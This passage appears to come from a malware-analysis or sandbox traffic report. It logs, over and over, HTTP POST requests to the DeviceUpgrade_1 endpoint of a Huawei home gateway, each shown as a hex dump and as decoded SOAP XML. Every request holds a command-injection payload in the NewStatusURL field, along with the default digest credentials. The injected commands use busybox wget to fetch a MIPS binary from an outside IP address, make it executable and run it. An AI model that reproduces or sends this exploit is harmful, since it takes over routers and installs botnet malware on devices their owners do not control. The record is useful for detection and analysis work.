-r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 